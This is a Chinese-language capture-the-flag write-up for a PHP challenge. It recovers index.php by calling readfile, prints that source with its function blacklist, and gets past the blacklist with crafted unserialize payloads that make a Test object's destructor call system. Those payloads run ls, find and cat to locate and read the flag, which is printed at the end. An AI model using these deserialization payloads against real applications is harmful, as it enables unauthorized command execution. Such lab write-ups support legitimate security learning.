本题涉及知识点
- date函数理解 学习链接
- PHP反序列化
一、分析
-
创建环境,打开连接后
- 出现一个****的图片
- date()函数的报错信息
- 时间?
- 并且从html源码script脚本中发现,网页是每5秒就刷新一次
-
抓包
-
func=date
-
p=Y-m-d h:i:s a
(该参数是一个时间格式)
-
分析:web页面出现了date函数因设置不当的报错,同时也出现了
Y-m-d h:i:s a
格式对应的时间。数据包中提交的是date
和Y-m-d h:i:s a
两个值。!!难道是func
代表的是函数,p代表的是参数?同时还会将返回的结果打印出来? -
注:date()函数的参数就是一个时间戳的格式,返回的值是对应的时间(文章顶有date函数学习链接)
-
-
改变
func
和p
的值进行验证分析-
额,貌似还有过滤规则
-
换var_dump
-
-
分析得到验证,但输入的函数应该是存在黑名单的。这个时候,应该尝试得到index.php源码,查看过滤规则是什么
二、审计index.php代码
- 能直接读取文件并返回文件内容的函数,查了这里
readfile()
,file_get_contents()
能用- 构建post请求
func=readfile&p=index.php
得到源码
- 构建post请求
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
-
审计
- 过滤的函数着实有点多,多到不能命令执行了
- call_user_func()函数,将第一个参数作为函数来调用,其余全是该函数的参数。
- 还有,根据代码流程下来,POST无论输入什么函数和值,好像都用不到
Test
这个类?类中有魔术方法? - 看到魔术方法的那一刻,就想到反序列化!而且过滤是用
in_array
函数进行判断,不是preg_match!!反序列化来逃避过滤规则进行命令执行,完全可行啊!!
三、通过反序列来进行命令执行
-
POST请求内容查看当前目录下的文件
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
- flag不在当前页面之下(多出一个index.php,影响不大)
- flag不在当前页面之下(多出一个index.php,影响不大)
-
再次构建poc,查看根目录下的文件
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls+/";s:4:"func";s:6:"system";}
- 也无。。。
- 也无。。。
-
没办法,只能使用find指令搜了(弊端很大,flag有时候又叫f1ag、fl4g…就很烦)
- poc:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find+/+-name+flag*";s:4:"func";s:6:"system";}
- 这里的搜索范围有点大,所以要等一会儿
- poc:
- 应该是在/tmp/flagoefiu4r93里的,/tmp是linux中存放临时文件的文件夹
- 构建poc读取
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat+/tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
- 构建poc读取
- 得到flag
flag{9b0fe6e8-c393-4bca-8bbf-c33e812fc1ed}